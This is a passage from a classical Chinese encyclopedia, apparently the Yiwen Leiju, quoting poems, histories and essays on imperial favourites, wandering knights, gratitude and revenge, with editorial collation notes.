参 差 菜 . 谁 论 窈 窕 淑 . 愿 君 捧 绣 被 . 来 就 越 人 宿 .\n梁 刘 遵 繁 华 诗 曰 . 可 怜 周 小 童 . 微 笑 摘 兰 藂 . 鲜 肤 胜 粉 白 . ● 脸 若 桃 红 . 挟 弹 雕 陵 下 . 垂 钩 莲 叶 东 . 腕 动 飘 香 麝 . 衣 轻 任 好 风 . 幸 承 拂 枕 选 . 得 奉 画 堂 中 . 本 知 伤 轻 薄 . 含 辞 羞 自 通 . 翦 袖 恩 虽 重 . 残 桃 爱 不 终 . 蛾 眉 讵 谁 嫉 . 新 姬 近 入 宫 .\n【 论 】 梁 沈 约 宋 书 恩 幸 传 序 论 曰 . 夫 人 君 南 面 . 九 重\n奥 绝 . 陪 奉 朝 夕 . 义 隔 卿 士 . 阶 闼 之 任 . 宜 有 司 存 . 既\n而 恩 以 狎 生 . 信 由 恩 得 . 无 可 惮 之 姿 . 有 易 亲 之 色 . 孝\n建 泰 始 . 主 威 独 运 . 空 置 百 司 . 权 不 外 假 . 而 刑 政 纠 杂\n. 理 难 遍 通 . 耳 目 所 寄 . 事 归 近 习 . 赏 罚 之 要 . 是 谓 国\n权 . 出 内 王 命 . 由 其 掌 握 . 于 是 方 涂 结 轨 . 辐 辏 同 奔 .\n人 主 谓 其 身 卑 位 薄 . 以 为 权 不 得 重 . 曾 不 见 鼠 凭 社 贵 .\n狐 藉 虎 威 . 外 无 逼 主 之 嫌 . 内 有 专 用 之 功 . 势 倾 天 下 .\n未 之 或 悟 . 挟 朋 树 党 . 政 以 贿 成 . 鈇 质 创 痏 . 构 于 床 笫\n. 服 冕 乘 轩 . 出 乎 言 笑 之 下 . 西 京 许 史 . 盖 不 足 云 . 晋\n朝 王 石 . ○ 宋 书 九 十 四 恩 幸 传 作 庾 . 未\n或 能 及 . 太 宗 晚 运 . 屡 经 盛 衰 . 权 幸 之 徒 . 慑 惮 宗 戚 .\n欲 使 幼 主 孤 立 . 永 窃 国 权 . 构 造 异 同 . 兴 树 祸 隙 . 帝 弟\n宗 王 . 相 继 屠 剿 . 民 忘 宋 德 . 虽 非 一 涂 . 宝 祚 夙 倾 . 实\n由 于 此 . 呜 呼 哀 哉 .\n史 记 曰 . 宁 成 抵 罪 得 脱 . 乃 诈 ○ 原 讹 许 . 据 冯 校 本 改 . 刻 传 . 出 关 归 家 . 称 曰 . 仕 不 至 二 千 石 . 贾 不 至 千 万 . 安 可 比 人 乎 . 乃 贳 贷 . 买 陂 田 千 余 顷 . 役 使 数 千 家 . 数 年 . 产 至 千 金 . 为 任 侠 . 其 役 民 重 于 郡 守 .\n淮 南 子 曰 . 北 楚 有 任 侠 者 . 其 子 孙 数 止 之 . 不 听 . 县 有 贼 . 大 搜 其 庐 . 事 果 发 觉 . 夜 惊 而 走 . 追 及 之 . 其 所 施 德 者 . 皆 为 之 战 . 得 免 . 反 谓 其 子 曰 . 汝 数 止 吾 侠 . 今 有 难 . 皆 赖 而 身 免 . 汝 谏 不 可 用 也 .\n战 国 策 曰 . 韩 严 遂 事 于 君 . 二 人 相 害 . 严 遂 正 议 直 指 . 举 韩 之 过 . 拔 剑 趋 之 . 严 遂 惧 诛 . 亡 去 . 求 人 可 以 报 韩 者 . 至 齐 . 阴 交 聂 政 . 以 意 厚 之 . 政 母 死 . 既 葬 除 服 曰 . 嗟 乎 . 政 乃 市 井 之 人 . 鼓 刀 之 属 . 而 严 仲 子 不 远 千 里 . 枉 车 骑 而 交 臣 . 举 金 为 亲 寿 . 是 深 知 政 也 . 至 濮 阳 . 见 严 仲 子 曰 . 前 所 以 不 许 子 者 . 徒 以 亲 在 . 今 亲 已 亡 . 仲 子 所 欲 报 者 为 谁 . 严 仲 子 具 告 曰 . 臣 之 仇 韩 . 政 遂 独 行 . 仗 剑 至 韩 . 直 入 刺 . 走 而 抱 哀 侯 . 政 刺 之 . 兼 中 哀 侯 . 左 右 大 乱 .\n汉 书 曰 . 战 国 合 纵 连 衡 . 力 政 争 彊 . 繇 是 列 国 公 子 . 魏 有 信 陵 . 赵 有 平 原 . 齐 有 孟 尝 . 楚 有 春 申 . 皆 藉 王 公 之 势 . 竞 为 游 侠 . 鸡 鸣 狗 吠 . 无 不 宾 礼 . 而 谈 者 以 四 豪 而 称 首 .\n又 曰 . 季 布 为 任 侠 . 有 名 . 项 籍 使 将 兵 . 数 窘 汉 王 . 项 籍 灭 . 高 祖 购 求 布 千 金 . 敢 匿 罪 三 族 . 布 匿 濮 阳 周 氏 . 乃 髡 钳 布 衣 褐 . 置 广 柳 车 中 . 并 与 其 家 僮 数 十 人 . 之 鲁 朱 家 所 卖 之 . 朱 家 心 知 其 季 布 也 . 买 置 田 舍 . 乃 之 洛 阳 . 见 汝 阴 侯 滕 公 说 曰 . 季 布 何 罪 . 臣 各 为 其 主 用 职 耳 . 项 氏 臣 岂 可 尽 诛 也 . 今 上 始 得 天 下 . 而 以 私 怨 求 一 人 . 何 示 不 广 也 . 且 以 季 布 之 贤 . 汉 求 之 急 . 如 此 . 此 不 北 走 胡 . 南 走 越 耳 . 大 忌 壮 士 以 资 敌 国 . 此 伍 子 胥 所 以 鞭 荆 王 之 墓 也 . 君 何 不 从 容 为 上 言 之 . 滕 公 心 知 朱 家 大 侠 . 意 布 匿 其 所 . 乃 许 诺 . 侍 闲 . 果 言 如 朱 家 指 . 上 乃 赦 布 .\n又 曰 . 季 布 弟 季 心 . 气 盖 关 中 遇 人 谨 恭 . 为 任 侠 . 方 数 千 里 . 士 争 为 死 . 尝 杀 人 亡 吴 . 从 爰 丝 匿 . 长 事 爰 丝 . 弟 畜 灌 夫 籍 福 之 属 . 少 年 多 待 之 . 籍 其 名 以 行 . 当 是 时 . 季 布 以 信 闻 关 中 .\n又 . 郑 当 时 为 任 侠 自 喜 . 孝 景 时 . 为 太 子 舍 人 . 每 五 日 洗 沐 . 常 置 驿 马 长 安 诸 郊 . 请 谢 宾 客 . 夜 以 继 日 . 至 明 旦 . 常 恐 不 遍 . 其 知 友 皆 天 下 有 名 之 士 也 .\n又 曰 . 丞 相 公 孙 贺 子 敬 声 . 以 皇 后 姊 子 骄 奢 . 擅 用 北 军 钱 千 九 百 万 . 发 觉 下 狱 . 是 时 诏 捕 阳 陵 朱 安 世 . 不 能 得 . 上 求 之 急 . 贺 自 请 逐 捕 安 世 . 以 赎 敬 声 罪 . 上 许 之 . 后 果 获 安 世 . 安 世 者 . 京 师 大 侠 也 . 闻 贺 欲 以 赎 子 . 笑 曰 . 丞 相 祸 及 宗 矣 . 南 山 之 竹 . 不 足 受 我 辞 . 斜 谷 之 木 . 不 足 为 我 械 . 安 世 从 狱 中 告 敬 声 与 阳 石 公 主 私 通 . 及 使 巫 祭 祠 . 当 道 埋 偶 人 . 祝 诅 有 恶 言 . 下 有 司 案 验 . 贺 父 子 死 狱 中 .\n又 曰 . 灌 夫 . 为 人 刚 直 使 酒 . 不 好 面 谀 权 贵 . 势 在 己 右 者 . 必 陵 之 . 在 左 者 . 愈 贫 贱 . 尤 益 礼 敬 . 稠 人 广 众 . 荐 宠 下 辈 . 士 以 此 多 归 之 .\n又 曰 . 剧 孟 . 以 侠 显 . 吴 楚 反 时 . 条 侯 为 太 尉 . 乘 传 东 . 将 至 河 南 . 得 剧 孟 . 喜 曰 . 吴 楚 举 大 事 . 而 不 求 剧 孟 . 吾 知 其 无 能 为 已 . 天 下 骚 动 . 大 将 得 之 . 若 一 敌 国 . 剧 孟 行 大 类 朱 家 . 及 孟 母 死 . 自 远 方 送 丧 . 盖 千 乘 . 及 孟 死 . 家 无 十 金 之 财 .\n又 曰 . 郭 解 . 河 内 轵 人 . 任 ○ 太 平 御 览 四 百 七 十 三 任 上 有 解 父 以 三 字 . 此 脱 . 侠 . 孝 文 时 诛 死 . 解 为 人 静 悍 . 不 饮 酒 . 所 杀 甚 众 . 以 躯 借 友 报 仇 . 自 喜 为 侠 . 解 姊 子 见 杀 . 解 使 人 微 知 贼 处 . 贼 窘 自 归 . 具 以 实 告 . 解 曰 . 公 杀 之 当 . 吾 儿 不 直 . 遂 放 其 贼 . 诸 公 闻 之 . 皆 多 解 之 义 . 益 附 焉 . 解 出 入 . 人 皆 避 . 有 一 人 独 箕 踞 视 之 . 解 问 其 姓 名 . 客 欲 杀 之 . 解 曰 . 居 邑 屋 不 见 敬 . 是 吾 德 不 脩 也 . 彼 何 罪 .\n又 曰 . 万 章 与 中 书 令 石 显 相 善 . 显 坐 专 权 擅 势 . 免 官 故 ○ 汉 书 九 十 二 游 侠 传 故 上 有 徙 归 二 字 . 此 脱 . 郡 . 留 其 床 席 器 物 . 直 数 百 万 . 欲 以 与 章 . 章 不 受 . 宾 客 或 问 其 故 . 章 叹 曰 . 章 以 布 衣 见 哀 于 石 君 . 石 君 家 破 . 不 能 有 以 安 也 . 受 其 财 物 . 此 为 石 氏 之 祸 . 万 氏 反 福 耶 . 诸 公 以 是 称 之 . 又 曰 . 娄 护 . 字 君 卿 . 是 时 王 氏 方 盛 . 宾 客 盈 门 . 五 侯 兄 弟 . 争 名 其 客 . 各 有 所 厚 . 唯 护 尽 入 其 门 . 咸 得 其 欢 心 . 结 士 大 夫 . 无 所 不 倾 . 其 交 长 者 . 尤 见 亲 敬 . 众 以 是 服 之 . 与 谷 永 俱 为 五 侯 上 客 . 长 安 号 曰 . 谷 子 云 之 笔 札 . 娄 君 卿 之 唇 舌 . 母 死 . 送 葬 者 致 车 二 三 千 两 . 闾 里 歌 之 曰 . 五 侯 治 丧 娄 君 卿 . 时 成 都 侯 商 为 大 司 马 卫 将 军 . 欲 候 护 . 其 主 簿 谏 曰 . 将 军 至 尊 . 不 宜 入 闾 巷 . 商 不 听 . 遂 往 至 护 家 . 久 住 移 时 .\n魏 志 曰 . 杨 阿 若 . 后 名 丰 . 字 伯 阳 . 少 游 侠 . 常 以 报 仇 解 怨 为 事 . 故 时 人 为 之 号 曰 . 东 市 相 斫 杨 阿 若 . 西 市 相 斫 杨 阿 若 .\n【 诗 】 晋 张 华 侠 曲 曰 . 侠 客 乐 险 幽 . 筑 室 穷 山 阴 . 栖 迟 熊 罴 穴 . 容 与 虎 豹 林 . 雄 儿 任 气 候 . 声 盖 少 年 场 . 偕 友 行 报 怨 . 杀 人 驵 市 傍 . 吴 刀 鸣 手 中 . 利 剑 严 秋 霜 . 腾 起 如 电 激 . 回 旋 如 流 光 . 生 从 命 子 游 . 死 闻 侠 骨 香 . 没 身 心 不 惩 . 勇 气 如 四 方 .\n又 游 侠 篇 曰 . 翩 翩 四 公 子 . 浊 世 称 贤 明 . 食 客 三 千 余 . 门 下 称 豪 英 . 游 说 朝 夕 至 . 辩 士 自 纵 横 . 孟 尝 东 出 关 . 济 身 由 鸡 鸣 . 信 陵 西 反 魏 . 秦 人 开 济 彊 . 赵 胜 南 盟 楚 . 乃 与 毛 遂 行 . 黄 歇 北 适 秦 . 太 子 还 入 荆 .\n宋 王 僧 达 依 古 诗 曰 . 少 年 好 驰 侠 . 旅 宦 游 关 源 . 既 践 经 古 迹 . 聊 平 兴 亡 言 . 显 轨 莫 殊 辙 . 幽 涂 岂 异 魂 .\n宋 鲍 昭 拟 古 诗 曰 . 幽 并 重 骑 射 . 少 年 好 驰 逐 . 毡 带 佩 双 鞬 . 象 弧 插 雕 服 . 兽 肥 春 草 短 . 飞 鞚 越 平 陆 . 朝 游 雁 门 上 . 暮 还 楼 烦 宿 . 石 梁 有 余 劲 . 惊 雀 无 全 目 .\n又 拟 古 诗 曰 . 日 晏 罢 朝 归 . 舆 马 塞 衢 路 . 宗 党 生 光 华 . 宾 仆 远 倾 慕 . 富 贵 人 所 欲 . 道 德 亦 何 惧 .\n梁 元 帝 刘 生 诗 曰 . 任 侠 有 刘 生 . 然 诺 重 西 京 . 扶 风 好 惊 坐 . 长 安 恒 借 名 . 榴 花 聊 夜 饮 . 竹 叶 解 朝 醒 . 结 交 李 都 尉 . 遨 游 佳 丽 城 .\n梁 吴 筠 诗 曰 . 结 客 少 年 归 . 翩 翩 骏 马 肥 . 报 恩 杀 人 竟 . 贤 君 赐 锦 衣 . 握 兰 登 建 礼 . 拖 玉 入 含 晖 . 顾 看 草 玄 者 . 功 名 终 自 微 .\n又 古 意 诗 曰 . 西 都 盛 冠 盖 . 九 逵 尘 雾 塞 . 中 有 恶 少 年 . 伎 能 专 自 得 . 玉 鞭 莲 花 纽 . ○ 原 作 细 . 据 冯 校 本 改 . 金 苣 流 星 勒 . 聊 为 路 傍 人 . 写 鞚 长 楸 北 .\n梁 王 僧 孺 诗 曰 . 青 丝 控 燕 马 . 紫 艾 饰 吴 刀 . 朝 风 吹 锦 带 . 落 日 映 珠 袍 . 陆 离 关 右 客 . 照 曜 出 西 豪 . 虽 非 学 诡 遇 . 终 是 任 逢 遭 . 人 生 会 有 死 . 得 处 如 鸿 毛 . 宁 能 偶 鸡 鹜 . 寂 寂 隐 蓬 蒿 .\n梁 何 逊 拟 轻 薄 篇 曰 . 城 东 美 少 年 . 重 身 轻 万 亿 . 拓 弹 随 珠 丸 . 白 马 黄 金 饰 . 长 安 九 逵 上 . 青 槐 阴 道 植 . 毂 击 晨 已 喧 . 肩 摩 暗 不 息 . 走 狗 通 西 望 . 牵 牛 亘 南 直 . 相 期 百 戏 傍 . 去 来 三 市 侧 . 象 床 沓 绣 被 . 玉 盘 传 绮 食 .\n周 王 褒 游 侠 篇 曰 . 京 洛 出 名 讴 . 豪 侠 竞 交 游 . 河 南 朝 四 姓 . 关 西 谒 五 侯 . 斗 鸡 横 大 道 . 走 马 出 长 楸 . 桑 阴 徙 将 夕 . 槐 路 转 淹 留 .\n周 庾 信 诗 曰 . 侠 客 重 连 镳 . 金 鞍 被 桂 条 . 细 尘 障 路 起 . 惊 花 乱 眼 飘 . 酒 醺 人 半 醉 . 汗 湿 马 全 骄 . 归 鞍 畏 日 晚 . 争 路 上 河 桥 .\n陈 沈 炯 长 安 少 年 诗 曰 . 长 安 好 少 年 . 骢 马 铁 连 钱 . 陈 王 装 脑 勒 . 晋 后 铸 金 鞭 . 步 摇 如 飞 鷰 . 宝 剑 似 舒 莲 . 去 来 新 市 侧 . 遨 游 大 道 边 .\n陈 阴 铿 西 游 咸 阳 中 诗 曰 . 上 林 春 色 满 . 咸 阳 游 侠 多 . 城 斗 疑 连 汉 . 桥 星 像 跨 河 . 影 里 看 飞 毂 . 尘 前 听 远 珂 . 还 家 何 意 晚 . 无 处 不 经 过 .\n陈 杨 缙 侠 客 控 绝 影 诗 曰 . 青 门 小 苑 物 华 新 . 花 开 鸟 弄\n会 芳 春 . 仙 掌 层 台 浮 丽 日 . 长 楸 广 路 起 红 尘 . 园 中 追 寻\n桃 李 径 . 陌 上 逢 迎 游 侠 人 . 游 侠 英 名 驰 上 国 . 人 马 意 气\n俱 相 得 . 白 玉 鹿 卢 秋 水 剑 . 青 丝 宛 转 黄 金 勒 . 复 有 鱼 目\n并 龙 文 . 蹑 影 追 风 本 绝 群 . 影 入 吴 门 疑 曳 练 . 形 来 西 北\n似 浮 云 . 寄 语 幽 并 驰 射 客 . 未 肯 推 名 持 借 君 .\n又 曰 . 无 言 不 酬 . 无 德 不 报 .\n左 传 曰 . 晋 魏 颗 败 秦 师 于 辅 氏 . 获 杜 回 . 秦 之 力 人 也 . 初 魏 武 子 有 嬖 妾 . 无 子 . 武 子 疾 . 命 颗 曰 . 必 嫁 是 妾 . 疾 病 . 曰 . 必 以 为 殉 . 及 卒 . 颗 嫁 之 . 曰 . 疾 病 则 乱 . 从 其 治 也 . 及 辅 氏 之 役 . 颗 见 老 人 结 草 以 亢 杜 回 . 踬 而 颠 . 故 获 之 . 夜 梦 老 人 曰 . 所 嫁 妇 人 之 父 也 . 尔 用 先 人 之 治 命 . 予 是 以 报 .\n晏 子 曰 . 晏 子 以 粟 金 遗 北 郭 骚 . 骚 辞 金 受 粟 . 有 闻 . ○ 晏 子 春 秋 五 . 太 平 御 览 四 百 七 十 九 作 间 . 晏 子 见 疑 于 景 公 . 出 奔 . 北 郭 子 曰 . 养 及 亲 者 . 身 更 其 难 . 遂 造 公 廷 曰 . 晏 子 天 下 之 贤 . 去 齐 . 齐 国 必 侵 . 不 若 先 死 . 乃 自 杀 . 公 自 追 晏 子 . 及 郊 而 反 之 .\n吕 氏 春 秋 曰 . 秦 穆 公 失 右 服 马 . 公 自 往 求 焉 . 见 野 人 方 食 之 于 歧 山 之 阳 . 穆 公 笑 曰 . 食 骏 马 肉 . 不 饮 酒 . 予 恐 伤 汝 也 . 遂 遍 饮 而 去 . 及 一 年 . 为 韩 原 之 战 . 晋 人 已 环 穆 公 之 车 . 晋 梁 由 靡 已 扣 穆 公 左 骖 . 尝 食 马 肉 三 百 余 人 . 疾 斗 车 下 . 遂 大 克 晋 . 反 获 晋 惠 公 以 归 .\n又 曰 . 简 子 有 两 白 . 甚 爱 之 . 阳 城 胥 渠 处 . 阳 城 姓 . 胥 渠 名 . 处 犹 病 也 . 广 门 之 官 夜 款 门 而 谒 曰 . 主 君 之 臣 胥 渠 有 疾 . 医 教 之 曰 . 得 白 之 肝 则 止 . 不 得 则 死 . 请 入 通 . 董 安 于 ○ 原 讹 ● . 据 冯 校 本 改 . 御 于 侧 . 简 子 杀 白 取 其 肝 以 予 阳 城 胥 渠 . 无 何 . 赵 兴 兵 而 攻 翟 . 广 门 之 官 七 百 人 皆 先 登 .\n战 国 策 曰 . 中 山 君 飨 都 大 夫 . 司 马 子 期 在 焉 . 羊 羹 不 遍 . 子 期 怒 而 走 于 楚 . 以 伐 中 山 君 . 中 山 君 亡 走 . 有 人 挈 戈 随 其 后 者 . 顾 谓 二 人 . 子 奚 为 . 对 曰 . 臣 父 尝 饿 且 死 . 君 下 壶 餐 哺 臣 父 . 臣 父 且 死 曰 . 中 山 有 事 . 汝 必 死 之 . 故 来 死 君 也 . 中 山 君 慨 然 曰 . 吾 以 一 杯 羊 羹 亡 国 . 以 一 壶 餐 得 二 人 .\n史 记 曰 . 爰 盎 为 吴 相 . 时 有 从 吏 . 尝 盗 爰 盎 侍 儿 . 盎 知 之 不 泄 . 遇 之 如 初 . 人 有 告 从 吏 . 言 君 知 尔 与 侍 者 通 . 乃 亡 归 . 盎 驱 自 追 . 遂 以 侍 者 赐 之 . 复 为 从 吏 . 及 爰 盎 使 吴 见 守 . 从 吏 适 为 校 司 马 . 守 盎 . 夜 引 爰 盎 起 曰 . 君 可 以 去 矣 . 吴 王 期 旦 日 斩 君 . 盎 谢 之 而 去 .\n又 曰 . 项 王 使 说 韩 信 . 韩 信 谢 曰 . 臣 事 项 王 . 官 不 过 郎 中 . 位 不 过 执 戟 . 故 背 楚 而 归 汉 . 汉 王 授 我 上 将 军 印 . 解 衣 衣 我 . 推 食 食 我 . 言 听 计 用 . 夫 人 深 亲 信 我 . 我 倍 之 不 祥 . 虽 死 不 易 .\n说 苑 曰 . 楚 庄 王 赐 群 臣 酒 . 日 暮 灯 烛 灭 . 有 人 引 美 人 衣 . 美 人 援 绝 其 冠 缨 . 告 王 曰 . 有 引 妾 衣 者 . 妾 绝 其 缨 . 取 持 火 来 . 视 绝 缨 者 . 王 曰 . 今 日 饮 不 绝 缨 者 不 欢 . 君 臣 百 官 皆 绝 冠 缨 . 乃 出 火 . 居 二 年 . 晋 与 楚 战 . 有 一 人 常 在 前 . 五 合 五 获 首 . 怪 而 问 之 . 对 曰 . 臣 乃 夜 绝 缨 者 也 . 王 隐 忍 不 曝 而 诛 . 常 愿 肝 脑 涂 地 . 用 颈 血 湔 敌 久 矣 . 遂 平 晋 君 . ○ 太 平 御 览 四 百 七 十 九 作 军 .\n汉 书 曰 . 张 苍 . 秦 时 为 御 史 . 有 罪 亡 归 . 及 沛 公 略 地 过 阳 武 . 苍 以 客 从 攻 南 阳 . 苍 当 斩 . 解 衣 伏 质 . 身 大 肥 白 如 瓠 . 王 陵 乃 言 沛 公 . 赦 勿 斩 . 以 为 常 山 相 . 苍 德 王 陵 . 及 贵 . 父 事 陵 . 陵 死 . 苍 为 丞 相 . 洗 沐 . 常 先 朝 陵 夫 人 . 上 食 . 然 后 敢 归 家 .\n又 曰 . 盖 宽 饶 为 卫 司 马 . 躬 案 行 士 卒 庐 室 . 视 其 饮 食 居 处 . 有 疾 病 者 . 身 自 抚 循 临 问 . 加 致 医 药 . 遇 之 甚 恩 . 及 岁 终 交 代 . 卫 卒 数 千 人 . 皆 叩 头 自 请 . 愿 复 更 留 一 年 . 以 报 宽 饶 厚 德 . 宣 帝 嘉 之 . 以 宽 饶 为 太 中 大 夫 .\n吴 越 春 秋 曰 . 伍 子 胥 伐 楚 还 . 过 溧 阳 濑 水 之 上 . 长 叹 息 曰 . 吾 常 饥 . 于 此 乞 食 . 而 杀 一 妇 人 . 将 欲 报 之 百 金 . 不 知 其 家 . 遂 投 金 濑 水 之 中 而 去 .\n三 辅 决 录 曰 . 高 陵 庞 勃 . 为 郡 小 吏 . 东 平 衡 农 为 书 生 . 穷 乏 . 容 ○ 太 平 御 览 四 百 七 十 九 作 客 . 鍜 于 勃 家 . 勃 知 其 贤 . 礼 待 酬 直 过 常 . 农 曰 . 为 冯 翊 . 乃 相 报 . 别 七 八 年 . 累 ○ 御 览 作 果 . 为 冯 翊 . 勃 为 门 下 书 佐 . 忘 之 矣 . 农 召 问 . 乃 悟 . 遂 举 勃 .\n魏 略 曰 . 杨 沛 为 新 郑 长 . 课 民 蓄 桑 椹 ○ 原 讹 营 . 据 冯 校 本 作 . 豆 . 积 浸 得 千 余 斛 . 太 祖 西 迎 天 子 . 军 无 粮 . 沛 乃 进 干 椹 . 后 为 邺 令 . 赐 其 生 口 十 六 人 . 绢 五 百 疋 . 以 报 干 椹 也 .\n魏 志 曰 . 太 祖 平 幽 州 . 召 孙 礼 司 空 军 谋 掾 . 初 荒 乱 时 . 礼 与 母 相 失 . 同 郡 马 台 . 求 得 礼 母 . 礼 推 家 财 . 尽 以 与 台 .\n华 阳 国 志 曰 . 曹 公 察 关 羽 不 安 . 张 辽 以 情 问 之 . 羽 叹 曰 . 吾 极 知 曹 公 待 我 厚 . 然 吾 受 刘 将 军 恩 . 誓 以 共 死 . 不 可 背 之 . 要 当 立 效 报 公 . 公 闻 而 义 之 . 颜 良 攻 东 郡 太 守 刘 延 于 白 马 . 公 使 辽 羽 为 先 锋 . 羽 望 见 良 麾 . 策 马 刺 于 万 众 中 . 斩 其 首 . 尽 封 其 物 . 称 书 告 辞 . 而 归 先 主 .\n【 赋 】 齐 谢 朓 酬 德 赋 曰 . 右 卫 沈 侯 . 眷 予 以 国 士 . 四 年 . 忝 役 朱 方 . 见 赠 以 诗 . 诗 不 云 乎 . 无 言 不 酬 . 无 德 不 报 . 故 称 之 酬 德 赋 云 . 悲 夫 四 游 之 代 序 . 六 龙 骛 而 不 息 . 轻 盖 靡 于 骏 奔 . 玉 衡 劳 于 抚 翼 . 嗟 岁 晏 之 渺 欢 . 曾 阴 默 以 凄 恻 . 嗟 民 生 之 知 用 . 知 莫 深 于 在 己 . 彼 知 己 之 为 深 . 信 怀 之 其 何 已 . 君 奉 笔 于 帝 储 . 我 曳 裾 于 皇 穆 . 籍 风 云 之 光 景 . 申 游 好 于 兰 菊 . 结 德 言 而 为 佩 . 带 芳 猷 而 为 服 . 予 窘 迹 以 多 悔 . 媿 离 厄 而 独 处 . 君 纡 组 于 名 邦 . 贻 话 言 于 川 渚 . 尔 要 戟 于 戎 禁 . 我 拂 剑 于 郎 闱 . 愿 同 车 以 日 夜 . 诚 望 昏 而 掩 扉 . 时 游 般 以 未 极 . 眷 落 景 之 徂 晖 . 苦 清 颜 之 倏 忽 . 欢 赏 之 多 违 .\n【 书 】 汉 谷 永 谢 王 凤 书 曰 . 永 斗 筲 之 材 . 质 薄 学 朽 .\n将 军 悦 其 狂 言 . 擢 之 皂 衣 之 吏 . 厕 之 宾 朋 之 末 . 不 听 浸\n润 之 谮 . 不 食 肤 受 之 愬 . 虽 齐 桓 晋 文 . 用 士 笃 密 . 察 父\n哲 兄 . 覆 育 子 弟 . 诚 无 以 加 . 昔 豫 子 吞 炭 坏 形 . 以 奉 见\n异 . 齐 容 ○ 汉 书 八 十 五 . 谷 永 传 作 客 .\n陨 首 公 门 . 以 报 恩 于 ○ 汉 书 作 施\n. 智 氏 孟 尝 . 犹 有 死 士 . 何 况 将 军 之 门 .\n又 曰 . 居 父 母 之 雠 . 寝 苫 枕 . 不 仕 . 不 与 共 国 . 遇 诸 市 . 不 反 兵 而 斗 .\n左 传 曰 . 齐 高 发 伐 莒 . 莒 子 奔 纪 鄣 . 初 莒 有 妇 人 . 莒 子 杀 其 夫 . 己 为 厘 妇 . 托 于 纪 鄣 . 纺 焉 . 以 度 而 去 之 . 及 师 至 . 则 投 诸 外 . 齐 师 夜 缒 而 登 . 莒 共 公 惧 . 启 西 门 而 齐 师 入 纪 . 又 曰 . 吴 伐 越 . 越 王 句 践 御 之 . 陈 于 檇 李 . 阖 庐 伤 将 指 . 还 卒 于 陉 . 夫 差 使 人 立 于 庭 . 出 入 必 谓 曰 . 夫 差 . 而 忘 越 王 之 杀 而 父 乎 . 则 曰 . 唯 . 不 敢 忘 . 三 年 乃 报 越 .\n越 绝 书 曰 . 子 胥 入 吴 . 阖 庐 将 为 之 报 雠 . 其 后 荆 将 军 伐 蔡 . 使 子 胥 伐 荆 . 十 五 战 十 五 胜 . 子 胥 操 捶 . 笞 平 王 之 墓 而 数 之 曰 . 吾 先 人 无 罪 . 而 子 杀 之 . 今 以 此 报 子 .\n战 国 策 曰 . 豫 让 欲 为 智 伯 报 雠 . 赵 襄 子 当 出 . 豫 让 伏 剑 桥 下 . 襄 子 至 桥 . 马 惊 . 曰 . 必 是 让 也 . 求 之 . 果 是 . 数 之 曰 . 子 不 事 范 中 行 氏 乎 . 智 伯 尽 灭 之 . 子 不 为 报 雠 . 反 臣 于 智 伯 . 智 伯 亦 已 死 . 何 报 雠 深 也 . 答 曰 . 范 中 行 众 人 遇 我 . 我 以 众 人 报 之 . 智 伯 国 士 遇 我 . 我 以 国 士 报 之 . 襄 子 曰 . 为 智 伯 . 名 既 成 . 寡 人 赦 子 . 亦 已 . 答 曰 . 君 前 赦 臣 . 天 下 莫 不 称 君 之 贤 . 臣 固 伏 诛 . 然 愿 请 君 之 衣 而 击 之 . 以 致 报 雠 之 意 . 乃 使 使 持 衣 与 让 . 让 拔 剑 三 跃 而 击 之 . 曰 . 吾 可 以 下 报 智 伯 矣 . 遂 伏 剑 死 .\n史 记 曰 . 秦 昭 王 闻 魏 齐 在 平 原 君 所 . 欲 为 睢 报 仇 . 乃 为 书 遗 平 原 君 曰 . 愿 与 君 为 布 衣 之 交 . 十 日 之 饮 . 平 原 君 见 昭 王 . 昭 王 与 平 原 君 饮 . 数 日 . 谓 曰 . 范 君 之 仇 在 君 家 . 愿 使 入 归 取 头 来 . 平 原 君 曰 . 不 在 臣 所 . 昭 王 乃 令 赵 王 发 卒 围 平 原 君 家 . 魏 齐 夜 亡 .\n东 观 汉 记 曰 . 海 曲 有 吕 母 . 其 子 为 县 吏 . 犯 小 罪 . 县 宰 杀 之 . 吕 母 家 素 丰 赀 产 . 乃 益 酿 醇 酒 . 少 年 来 沽 者 . 贳 之 . 视 其 乏 者 . 辄 假 衣 装 . 少 年 欲 相 与 偿 之 . 吕 母 垂 泣 曰 . 县 宰 枉 杀 吾 子 . 欲 报 怨 尔 . 诸 君 宁 肯 哀 之 乎 . 少 年 许 诺 . 遂 相 聚 得 数 百 人 . 因 与 吕 母 入 海 . 自 称 将 军 . 遂 破 海 曲 . 执 县 宰 斩 之 . 以 其 首 祭 子 冢 .\n又 曰 . 郅 恽 与 董 子 张 友 . 子 张 父 为 乡 人 所 害 . 及 子 张 病 将 终 . 恽 候 子 张 . 视 恽 歔 欷 不 能 言 . 恽 曰 . 吾 知 子 不 悲 天 命 . 而 痛 雠 不 复 也 . 恽 即 将 客 遮 仇 人 . 取 其 头 以 示 子 张 . 子 张 见 而 气 绝 .\n又 曰 . 赵 喜 少 有 节 操 . 从 兄 为 人 所 杀 . 无 子 . 喜 常 思 欲 报 之 . 遂 往 复 仇 . 而 仇 家 皆 疾 病 . 喜 以 因 疾 报 杀 . 非 仁 者 心 . 且 释 之 而 去 . 顾 谓 仇 曰 . 尔 曹 若 健 . 远 相 避 . 后 病 愈 . 悉 自 缚 诣 喜 . 喜 不 与 相 见 . 后 竟 杀 之 .\n吴 书 曰 . 甘 宁 杀 陵 统 父 . 孙 权 命 不 得 雠 之 . 尝 于 吕 蒙 舍 酒 酣 . 统 乃 以 刀 舞 . 宁 起 曰 . 宁 能 双 戟 舞 . 蒙 曰 . 未 若 蒙 之 巧 也 . 因 操 刀 楯 . 以 身 分 之 .\n列 女 传 曰 . 缑 氏 女 玉 . 为 父 报 雠 . 吏 执 玉 . 以 告 外 黄 令 梁 配 . 欲 论 杀 玉 . 申 徒 蟠 时 年 十 五 . 进 谏 曰 . 玉 之 节 义 . 足 以 感 无 耻 之 孙 . 激 忍 辱 之 子 . 不 遭 明 时 . 尚 当 表 旌 庐 墓 . 况 在 清 听 . 而 不 加 哀 矜 . 配 善 其 言 . 乃 为 减 死 论 .\n又 曰 . 庞 涓 母 者 . 赵 氏 女 . 字 娥 . 父 为 同 县 人 所 杀 . 而 娥 兄 弟 三 人 . 俱 时 病 物 故 . 雠 乃 喜 . 以 为 莫 己 报 . 娥 乃 潜 备 刀 兵 . 以 候 雠 家 十 余 年 后 . 遇 于 都 亭 . 刺 杀 之 . 因 诣 县 自 首 曰 . 父 仇 已 报 . 请 就 刑 .\n又 曰 . 卫 义 姬 者 . 其 夫 有 先 人 之 雠 . 雠 家 来 报 . 婿 避 之 . 仇 家 得 义 姬 . 问 婿 